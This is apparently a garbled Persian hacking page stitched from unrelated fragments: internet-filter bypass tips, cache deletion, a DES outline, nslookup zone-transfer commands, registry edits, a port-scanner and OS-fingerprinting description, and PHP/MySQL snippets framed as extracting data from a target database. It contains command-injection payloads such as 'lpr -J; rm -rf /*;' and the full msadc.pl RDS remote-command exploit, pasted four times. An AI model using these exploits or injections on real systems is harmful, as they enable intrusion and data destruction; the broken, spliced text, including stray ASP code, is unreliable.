هک
اعمال filtering
مربوط به مدل ارتباطي در اعمال filtering دلتا ( IR) است و براين اساس ارتباط دهي Internet براي من و شما و ديگر کابران دوچار مشکل کرده
اشکلات اين نوع ارتباطات مبتني براعمال نرم افزار RealFilter
1-تغيير دادن متون خاص مابين دو متن ويژه روي Packetها
2- تغيير دادن Packet به گونه هاي مختلف لز مبدا به مقصد وبلعکس
3- تغيير مسير ادرس url به آدرس ويژه خود
4- تغسير پورت 25 و تغيير پروتكلهاي SMTP و POP3 در ارسال مرسوله هاي پستي
5- جلوگيري از دسترسي به فايلهاي Exe - Dll - MP3 - HTM - Zip - ريل -مديا- گرافيک ....
6- جلوگيري از دسترسي نسخه ذخيره شده در موتور جستجو
7- اعمال محدوديت کاربر درزمان دسترسي به سايتهاي Game
راه هاي مقابله درفايلهاي موقت index.dat
1- حذف محتويات History و فايلهاي موقت index.dat
شامل فايلهاي موقت سرگردان filtering که در IE ويندوز پديد ميآيند و محتويات اين فايلهاي proxyمتعدد است
روشهاي Erase
الف - Erase تراش و حذف Files\Content.IE
راه اندازي مجدد سيستم در محيط Dos
حذف شاخه ها و كليه محتويات آنها با دستور Deltree مي باشد
2- استفاده از winfile. exe
الف- اجراي کنيد winfile و به منوي view رفته و By File Type را انتخاب کنيد و مطمئن شويد كه همه جعبه ها علامت “*.* “ خوردهاند و در جعبه نام ظاهر شده است
ب- از شاخه windows شاخه History را انتخاب كرده و با استفاده از دستور Rename نام آن را تغيير دهيد
همين عمليات را جهت شاخه Temparary Internet File نيز تكرار كنيد و سيستم را مجددا راه اندازي كنيد
ت- خواهيد ديد كه ويندوز دوباره شاخه هاي TIF و History را ايجاد كرده است. اكنون مي توانيد شاخه هاي تغيير نام داده شده را حذف نمائيد
استفاده از ابزار
@@@@@@
نکته مهمي لازم گفته شود که نوع ارتباطات مبتني براعمال نرم افزار RealFilter زبان Perl است
پس توصيه شاگرد به شما راجع بهinternet option/privacy ويندوز تجديد نظر کنيد
متاسفانه نرم افزار RealFilter درهر ورود ممکن است تا 5 کوکي ويا بيشتر را در computere شما ايجاد کند که خيلي از آنها فقط براي اعمال filtering است
راه هاي دورزدن filtering
1- در IE مايکرو سافت
به ترتيب زير عمل کنيد Tool __ Internet Options سپس Connections وبعد LAN Settings کليک کنيد
حال در قسمت Use a Proxy Server را تيک بزنيد و در جعبه Address شماره IP سايت مورد نطرتان را وارد کنيد ودر قسمت پورت Port : 80 وارد کنيد
توجه داشته باشيد
مثال : اگردرقسمت پورت Port : 25 را وارد کنيد تغسير برپر وتكلهايهاي SMTP و POP3 مي کند
يعني اگردرقسمت پورت هرPort :ديگري را وارد کنيد تغسير برپر وتكلهايهاي خاص ان مي کند
استفاده ازفرمان RFC کد منبع
lpr '-J; rm -rf /*;' /tmp/a
J `rm /etc/passwd; echo Job;`
pr:sd=/... :if=/usr/local/hack ... invoked as: /usr/local/hack '-J; rm -rf /*;' /usr/local/hack is: #!/bin/sh while [ -n "$1" ] ; do case "$1" in -J ) shift; args="$args -M$1";; esac; shift; done; # reformat the command line eval /usr/local/realfilter $args eval /usr/local/realfilter -MJ; rm -rf /*;<%
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.AddHeader "pragma", "no-cache"
Response.AddHeader "cache-control", "private"
Response.CacheControl = "no-cache"
dim qString: qString = Session("qString") &
"&back=y"
dim strHead: strHead =
""
dim strFoot: strFoot = ""
if Session("submitted") = "yes" then
response.write strHead
response.write ""
response.write strFoot
response.end
end if
response.write strHead
response.write "الگوريتم رمزگذاري DES
معروف ترين الگوريتم رمزگذاري DESاست عناصر اصلي اين الگريتم را يک کليد خصوصي و يک بردار جاي گشت اوليه تشکيلي مي دهند ابتدا متن رمزي به بلوک هاي 64 بيتي تبديل مي شود
وجاي گشت يک جدول 64 خانهاي استروي آن اعمال مي شود. براي مثال اگر خانه اول جدول جاي گشت اوليه 10 باشد بيت اول به مکان 10هم ميرود
سپس متن 64 بيتي به دو بخش 32 بيتي تبديل مي شود
که آنها را L0 و R0 مي ناميم. پس از آن با استفاده از کليد K1 و تابع F _ R0 رمز مي شود F__R0,K1 و در مرحله بعد از آن F__R0,K1 با L0 ياي انحصاري XOR مي شود
و R1 را براي مرحله دوم ايجاد مي کند اما مرحله دوم نياز به L1 نيز دارد L1 برابر با R0 است اين عمل تا مرحله 16 ادامه مي يابد پس از مرحله آخر دو بلوک 32 بيتي به هم متصل مي شوند و يک بلوک 64 بيتي رمز را ايجاد ميکنند
سيروس جان سوال دومت
فرامين در nslookup
انتقال کل recordها
کلاستر بر روي يک گراف
سيروس جان دراين ياداشت مقداري از تايپ فرامان در nslookup به
صورت بدون جواب از طرف nslookup شاگرد شما اورده است
شما لطفا با تايپ فرامين اوره و جوابهاي داده از طرف nslookup اشناني کلي پيدا کنيد و اگر عمري باشد اطلاعاتي مربوط به تشخيص سيستمعامل تابع Check_OS توابع Qmain فراخواني option
انتقال record نصب بودن ntftp سرويس web را حواهم داد
())( ())(
ابزار adig را حتما نسب کنید
پيش اگهي
سرويس دهنده Server
انتقال record ها
record ها در DES
set type=any
حوزه ls -d
مثال
set all
tung@traveler:~> nslookup
Default Server: sun4.ee.ncku.edu.tw
Address: xx.xx.xx.xx
set type=any
www.yohoo.com
Server: sun4.ee.ncku.edu.tw
server 216.116.98.7
Default Server: ns1.netgateway.net
set typr=ptr
140.116.72.219
Address: 216.116.98.7
فرامين در nslookup
set d2
set q=a
support-cluster.cisco.com
set q=mx
support-cluster.cisco.com
ls -d sps.mot.com
pat.uio.no
server c.root-servers.net
edu
mit.edu
server W20NS.mit.edu
ai.mit.edu
server WHEATIES.AI.MIT.EDU.
set q=any
prep.ai.mit.edu
127.0.0.1
set q=any
localhost.
set q=any
linux.bogus
ls -d linux.bogus
set q=any
www.linux.bogus.
@@@@@
set q=mx
earthlink.net
@@@@@
set all
movie.edu
set type=any
movie.edu
terminator
ls foo
ls foo
server terminator.movie.edu
carrie.movie.edu
ls movie.edu
@@@@@
set q=a
-or-
set type=a
psi.corp.sun.com
sun-barr.EBay.Sun.COM
set type=mx
sun.com
server cs.utexas.edu
sun.com
lserver sun-barr.EBay.Sun.COM
set debug
sun.com
set type=ptr
1.0.0.127.in-addr.arpa
@@@@@
set q=mx
aol.com
Server: *******
Address: *******
set q=a
mailin-01.mx.aol.com
Server: ********
Addressفرمان هاي ساختگي در RDS از راه دور
اين exploit به شما يا anonymous خارجي اجازه دسترسي به ديتاي داخلي را مي دهد
msadcs.dll چگونگي استفاده از ADO تحت وب را با هدف دسترسي به بانكهاي اطلاعاتي
با استفاده از سرويسهاي كاربردي توزيع شده ويندوز MSMQ و توسعه و طراحي شيءگراي توزيع فرمان هاي ساختگي در RDS از راه دور با ADO از طريق DLL سيستم هدف وارد شويد
راهروها
HANDSAFE.EXE در محيط Common Files نسب باشد
براي نسب به .wiretrip.net/rfp/bins/msadc/handsafe.exe مراجعه شود
registry کنترول در RegEdit
Hive HKEY_LOCAL_MACHINE
Key SOFTWARE\Microsoft\DataFactory\HandlerInfo]
"handlerRequired"=dword:00000001
"DefaultHandler"="MSDFMAP.Handler"
معکوس کردن some HTML stuff to text وبرگرداندن
-h
-d
-V
-v verbose.
-e
-h
-x
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h{ -d -X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<>\n" : print "< >\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;
-h
-d
-V
-v verbose.
-e
-h
-x
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h{ -d -X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<>\n" : print "< >\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;فرمان هاي ساختگي با ابزار
-h
-d
-V
-v verbose.
-e
-h
-x
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h{ -d -X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<>\n" : print "< >\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;
-h
-d
-V
-v verbose.
-e
-h
-x
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h{ -d -X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;
print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<>\n" : print "< >\n";
print "\nStep 3: Trying known DSNs...";
&known_dsn;
print "\nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
print "Sorry Charley...maybe next time?\n";
exit;راهی دیگر در registry کنترول همگام ساز معفی تایم system مبدا IsP
default=2, value 1=time.windows.com
Hive HKEY_LOCAL_MACHINE
Key SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient
Name SpecialPollInterval
Type REG_DWORD
Value #secondsdesired
default
2=time.nist.gov
Hive HKEY_LOCAL_MACHINE
KeySOFTWARE\Microsoft\Windows\CurrentVersion\DateTime\Servers
Name (Default)
Type REG_SZ
Valueentry of choice
1-# time servers you have default3=
thenewtimeserver.com
C:> kermitC:> set
tcp/ip address xxx.xxx.xxx.xxxC:> set
tcp/ip domain informatik.uni-osnabrueck.de
C:> set
tcp/ip gateway xxx.xxx.xxx.xxxC:> set
tcp/ip netmask xxx.xxx.xxx.0C:> set
tcp/ip packet-driver-interrupt 0x60C:> set
tcp/ip primary-nameserver xxx.xxx.xx.xC:> set
port tcp/ip gandalfC:> connect
C:> finger yyy@xxxx.c
C:> ftpbin gandalf
C:> lpq -S gandalf -P Next_Printer
C:> rexec gandalf date
C:> rsh gandalf date
C:> telbin gandalfC:> net
net> attach packet 0x60 en0 8 1500
net> ifconfig en0 ipaddress 1x1.1x3.1x1.2x0
net> ifconfig en0 netmask 0xffffff00
net> ifconfig en0 broadcast 1x1.1x3.1x1.2x5
net> trace en0 211
net> ping 1x1.1x3.1x1.1
net> trace en0 off
net> telnet 1x1.1x3.1x1.1
net> hop check 1x1.1x3.1x1.1
net> exitتوضيح و جواب اشتباهات استادان در Registry سيستم عامل Windows
با سلام به استادان عزيز
ويندوز براي انعطاف پذيري تنظيمات از طرف كاربر و براي دائمي بودن اين تنظيمات در جايي ضبط مي كند اين محل براي ضبط پيكربندي ويندوزRegistry آن است
اين تنظيمات در فايل هايي مثل system.ini--win.iniو ...ضبط مي شود
Registry ويندوز يك بانك اطلاعاتي بزرگ است كه به صورت باينري ذخيره مي شود
Registry متشكل از سه فايل
User.dat
System.dat
Policy.polاست که
1-فايل User.dat شامل داده هاي مربوط به كاربر فعلي است كه به طور پيش فرض در شاخه Windows قراردارد
2-اگر داراي كاربرهاي متفاوت User Profiles باشد، فايل user.dat مي تواند در شاخه Windowsقرار گيرد
3-در حالت شبكه اين فايل در كامپيوتر ميزبان Server قرار مي گيرد
4-تنظيمات سخت افزاري سيستم در فايل System.dat قرار مي گيرد
5-فايل Policy.pol در صورتي وجود خواهد داشت كه شما از ويژگي System Policies ويندوز استفاده كنيد
برنامه هاي مستقيم به Registry
1-Checkerابزاري است
كه مي توان اندارد كه ساختار Registry را بررسي كرده و در صورت وجود خطا آن را تصحيح كند يعني که هر بار كه كامپيوتر روشن مي شود ساختار رجيستري را كنترل مي كند و در صورتي وجود خطا از آن نسخه برداري مي كند و از نسخه هاي پشتيباني كه تهيه كرده
اين برنامه از دو فايل
1-Scanreg.exe براي سيستم عامل DOS
2-Scanregw.exeبراي Windows
که در شاخه هاي
Windowsو Windowsتشكيل شده است
برنامه ScanRegw فايل هايSystem.dat-User.dat-Win.iniو System.ini را فشرده كرده
و بـــه صورت فايلهـــاي xxx-Rbxxx.cab که xنمايانگـــر اعداد هستنــد
در شاخــــه C:اين شاخه خصلت پنهان دارد ذخيره مي كند
تعداد فايل هاي پشتيبان به طور پيش فرض پنج عدد است
٫٫٫٫٫٫٫٫٫٫٫٫
٬٬٬٬٬٬٬٬٬٬٬
مدتي است که استفاده از تايپ فرمان هاي بر ini از طرف استادان هکر mn معمول شده پس شاگردتان توضيحي بر ان هک مي کند
سعيد هکر به اين روش عمل مي کند
تايپ فرمان هايsystem.ini
سعيد هکر هيچگاه system.ini اين فايل را در دايركتوري ويندوز كليك كردن بر روي آن را باز نمي کند يا در Notepad
براي دستيابي به فايل System.ini واثربخشي در تايپ فرمان هاي ان بايد از اين روش عمل مي کند
1-تايپ دستور Sysedit در سطر فرمان در منوي Run
2-فايل System.ini را انتخاب مي کند
3-براي ثبت تنظيمات Registry در فايل ini بر روي صفحه باز شده ان تايپ فرمان مي کند
٬ ٬٬٬٬٬٬٬٬٬٬٬٬
٬٬٬٬٬٬٬٬٬٬٬٬٬
روش تايپ فرمان هاي بافر بر ini در از کار اندختن تايمرISP
سعيد هکر به روش عمل مي کند
1-در دايركتوري ويندوز با كليك كردن بر روي progmam آن را باز مي کند
2-در progmam در فايل کليک مي کند در New و مسير Common در New انتخاب مي کند
3-حال به محيط نام System.ini مي دهد
4-New انتخاب مي کند progmam-ltem راانتخاب مي کند
5-Browse راانتخاب مي کند و Sysedit را کليک مي کند
6-progmam ويندوزرا مي بندد
7-دستور Sysedit در سطر فرمان در منوي Run
8-در Sysedit configuration در محيط c:
win.ini تايپ مي کند
[Ports]
Buffer=1024
MinTimes=20
WinTimes=100,50
COMnBuffer=Times
S11=40
9-در محيط System.ini تايپ مي کند
Com@x Irq@y
Buffer=1024
number = ( 3,1,4,1,5,9)
@ letters = ( " this", " is ", "a" , "test" )
$word , $ anther - word - ) = ( " one " , "two" )
10-به جاي X شماره com مودم تان وارد كنيد پنجم- به جاي Y شماره Irq مودم تان وارد كنيد براي بدست آوردن اين اطلاعات ميتوانيد از System Information استفاده كنيد
٬٬٬٬٬٬٬٬٬٬٬٬
٬٬٬٬٬٬٬٬٬٬٬٬٬
سلام استاد من حسین جواب سوال شما
فايلهاي مربوط به Scan كردن پورتها، شامل Main.c و Scan.c ميباشد
در تابع Main قسمت انتهايي آن مربوط به Scan كردن پورتها ميباشد
كه با دادن شمارة پورت مربوط به يك Host در جلوي فرامين بالا پورتهاي مربوطه براي مشخص شدن Serviceهاي در حال اجرا روي آن Scan ميشود. سه تابع براي انجام اين كار عبارتند از (پيادهسازي شده در فايل Scan.c) :
ScanPort() : ابتدا يك سوكت ميسازد و در صورت برقراري ارتباط سرويس در حال اجرا را برميگرداند
ScanPortData() : همان عمل بالا اين بار با دريافت دادهها در صورت برقراري ارتباط صورت ميگيرد، كه حاوي اطلاعاتي راجع به سرويس در حال اجرا روي پورت مورد نظر است
ScanPorQuery() : به صورت مشابه يك سوكت ساخته ميشود و اين بار در صورت برقراري ارتباط يك رشته با تابع send() فرستاده ميشود. Send(Socket, data, 65535, Port) و بعد با دستور recv() گرفته ميشود. و مشخصات سرويس در حال اجراي روي آن پورت نشان داده ميشود
در بخش ديگر كه مربوط به تشخيص سيستمعامل ميباشد، تابع Qmain() در Main() فراخواني«در صورت وارد شدن option o» ميشود
در اينجا در ابتدا بايد ارتباط با يك مقصد مشخص توسط تابع resolve چك شود . كار اصلي تشخيص سيستم عامل در تابع Check_OS() از توابع Qmain ميباشد. ابتدا يك آرايه براي نگهداري مشخصات تعدادي Packet (7 عدد) دريافتي از يك مقصد مشخص تهيه ميشود، كه از نوع OSRFS تعريف شده است. (در Qmain) با استفاده از Timer يك پورت تصادفي بالاي 4000 ساخته ميشود و در مشخصة يكي از پاكتهاي ارسالي در فيلد پورت مبدأ قرار ميگيرد و بقيه بستههاي ارسالي با اضافه شدن يك به اين شمارة پورت در قسمت پورت مبدأ ساخته شده و ارسال ميشوند. پاكتهاي شمارة 0 تا 6 براي جلوگيري از دريافت پاكتهاي تكراري، از يك فيلد Set در آراية مذكور استفاده ميشود تا يك پورت معين در مبدأ بيش از يكبار پاكت ارسالي خود را دريافت نكند(جلوگيري از دريافت پاكتهاي تكراري). بعد از ارسال پاكتها تقريباً به صورت همزمان، از طرف پورتهاي A % rand() + 4000 تا پاكت 7 مقدار هر پورت پاكت دريافتي (tcp) با كم كردن مقدار اولين عدد تصادفي توليد شده از مقادير tcp.dport پاكت دريافتي حاصل ميشود.
(While Timer() < timeout);
بعد از ارسال پاكتها تا زماني كه پاكتها time out نشده باشند، آنها را دريافت ميكنيم. با دريافت هر پاكت براي جلوگيري از دريافت مجدد فيلد set را در فيلد مربوطه چك ميكنيم. [r[I].set] و بقية فيلدهاي r[I] (I = 0..6) را هم از روي فيلدهاي پاكت دريافتشده را با مشخصات كلية دسته پاكتهاي مربوط به هر سيستمعامل مقايسه ميكنيم(در فايل (queso.conf)) در صورتي كه همة پاكتها با همة مشخصههاي مربوطه به يكي از سيستمعاملها مطابقت داشته باشند، سيستمعامل به صورت يك خط از فايل خوانده شده و نمايش داده ميشود.
$Conn=mysql_connect($Location,$Username,$Password);ازدستورMySQL_queryاستفاده کنید
این تابع MySQL_connect سه آرگومان دارد
1-ميزبان
2-شناسه کاربرى
3-کلمه عبور
اگر در مرورگر پيام خطا دهد بادستورزیر پایگاه اطلاعاتي مورد نظر انتخاب خواهد شد
mysql_select_db($database)ايجادپایگاه اطلاعاتي
if (mysql_creat_db($database,$Conn)
{ print(“The database,$database,was { successfully created!
\n”);
else
{ print(" The database,$database, could not be created!
\n”);}حال شما بعد ازجاسازی خود تان امادهید برای استخراج اطلاعات پایگاه هدف
1-باید query به زبان SQL می نویسید وسپس اين query با استفاده ازدستورmysql_db_query($database,$Query)
2-عمليات لازم را بر روي پایگاه اطلاعاتي هدف فرم فوق به شکل زير است
$Query=”text for the query goes here in SQL format";
if (mysql_db_query($database,$Query))
}
print( “The query was successfully executed!
\n”);
{
else
}
print(“The query could not be executed!
\n”);
{3-ايجاد جدول
$Query=”CREATE table $Tablename(id INT PRIMARY KEY ,
Firstname char(12), Lastname char(15))”;4-براي ارسال دادهها به بانك اطلاعاتي
$Query=
“INSERT into $Tablename(‘value1’, ‘value2’, ‘value3’,…)”;5-بازيابي اطلاعات
$query = "SELECT * FROM $Tablename“;
$result = mysql_query($query);
$numrows = mysql_num_rows($result);
while($row = mysql_fetch_array($result))
{
echo "You have $numrows user(s) in the database”;
echo "ID number : $row[id]”;
echo "firstname: $row[firstname]”;
echo "Lastname: $row[lastname]”;6-تغيير اطلاعات
$Query=
“UPDATE $Tablename SET firstname=’mina’ WHERE
firstname=’maryam’”;